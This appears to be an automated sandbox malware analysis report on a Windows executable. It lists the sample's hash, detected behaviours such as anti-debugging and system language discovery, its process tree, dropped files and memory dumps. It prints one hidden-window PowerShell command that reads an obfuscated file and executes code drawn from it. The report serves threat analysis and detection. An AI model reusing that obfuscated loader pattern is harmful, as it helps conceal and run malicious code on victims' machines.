Analysis
- max time kernel
140s - max time network
104s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
18/10/2024, 02:40
General
- Target c1c9eb27ba4541f86faddc954759e67bd49d024e26be8c48c036db36dc958527.exe
- Size 745KB
- Sample241018-c537ysvfkl
- SHA256 c1c9eb27ba4541f86faddc954759e67bd49d024e26be8c48c036db36dc958527
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Loads dropped DLL 1 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- NSIS installer 2 IoCs
- Suspicious behavior: EnumeratesProcesses 23 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\c1c9eb27ba4541f86faddc954759e67bd49d024e26be8c48c036db36dc958527.exe"C:\Users\Admin\AppData\Local\Temp\c1c9eb27ba4541f86faddc954759e67bd49d024e26be8c48c036db36dc958527.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Anthropocentrically211=Get-Content -raw 'C:\Users\Admin\AppData\Roaming\gurlis\billeter\pli\Nothingizes.Del';$Landboreformerne=$Anthropocentrically211.SubString(36863,3);.$Landboreformerne($Anthropocentrically211) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Letraset.exe"C:\Users\Admin\AppData\Local\Temp\Letraset.exe"3⤵
- Loads dropped DLL
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
Letraset.exe
__PSScriptPolicyTest_asfbqvrx.o4f.ps1
Nothingizes.Del
stripped.Sty
memory/3796-75-0x0000000000400000-0x0000000001654000-memory.dmp
memory/3796-72-0x0000000000400000-0x0000000001654000-memory.dmp
memory/3796-71-0x0000000000400000-0x0000000001654000-memory.dmp
memory/3796-70-0x0000000000400000-0x0000000001654000-memory.dmp
memory/3796-69-0x0000000000400000-0x0000000001654000-memory.dmp
memory/3796-68-0x0000000000400000-0x0000000001654000-memory.dmp
memory/4820-48-0x0000000074000000-0x00000000747B0000-memory.dmp
memory/4820-53-0x0000000074000000-0x00000000747B0000-memory.dmp
memory/4820-27-0x0000000007140000-0x00000000071D6000-memory.dmp
memory/4820-28-0x00000000066A0000-0x00000000066BA000-memory.dmp
memory/4820-29-0x0000000006720000-0x0000000006742000-memory.dmp
memory/4820-30-0x00000000077D0000-0x0000000007D74000-memory.dmp
memory/4820-26-0x0000000006220000-0x000000000626C000-memory.dmp
memory/4820-32-0x0000000008400000-0x0000000008A7A000-memory.dmp
memory/4820-33-0x00000000075C0000-0x00000000075F2000-memory.dmp
memory/4820-34-0x0000000070490000-0x00000000704DC000-memory.dmp
memory/4820-35-0x0000000070890000-0x0000000070BE4000-memory.dmp
memory/4820-46-0x0000000007600000-0x000000000761E000-memory.dmp
memory/4820-47-0x0000000007630000-0x00000000076D3000-memory.dmp
memory/4820-44-0x0000000074000000-0x00000000747B0000-memory.dmp
memory/4820-7-0x000000007400E000-0x000000007400F000-memory.dmp
memory/4820-49-0x0000000007740000-0x000000000774A000-memory.dmp
memory/4820-51-0x0000000007EC0000-0x0000000007EE4000-memory.dmp
memory/4820-50-0x0000000007780000-0x00000000077AA000-memory.dmp
memory/4820-52-0x0000000074000000-0x00000000747B0000-memory.dmp
memory/4820-25-0x0000000006170000-0x000000000618E000-memory.dmp
memory/4820-56-0x0000000074000000-0x00000000747B0000-memory.dmp
memory/4820-55-0x000000007400E000-0x000000007400F000-memory.dmp
memory/4820-57-0x0000000074000000-0x00000000747B0000-memory.dmp
memory/4820-24-0x0000000005B90000-0x0000000005EE4000-memory.dmp
memory/4820-59-0x0000000074000000-0x00000000747B0000-memory.dmp
memory/4820-61-0x0000000074000000-0x00000000747B0000-memory.dmp
memory/4820-60-0x0000000008A80000-0x000000000B1A2000-memory.dmp
memory/4820-62-0x0000000074000000-0x00000000747B0000-memory.dmp
memory/4820-63-0x0000000074000000-0x00000000747B0000-memory.dmp
memory/4820-65-0x0000000074000000-0x00000000747B0000-memory.dmp
memory/4820-66-0x0000000074000000-0x00000000747B0000-memory.dmp
memory/4820-14-0x0000000005B20000-0x0000000005B86000-memory.dmp
memory/4820-13-0x0000000005AB0000-0x0000000005B16000-memory.dmp
memory/4820-12-0x00000000051C0000-0x00000000051E2000-memory.dmp
memory/4820-11-0x0000000074000000-0x00000000747B0000-memory.dmp
memory/4820-10-0x0000000074000000-0x00000000747B0000-memory.dmp
memory/4820-9-0x00000000052D0000-0x00000000058F8000-memory.dmp
memory/4820-8-0x0000000002BB0000-0x0000000002BE6000-memory.dmp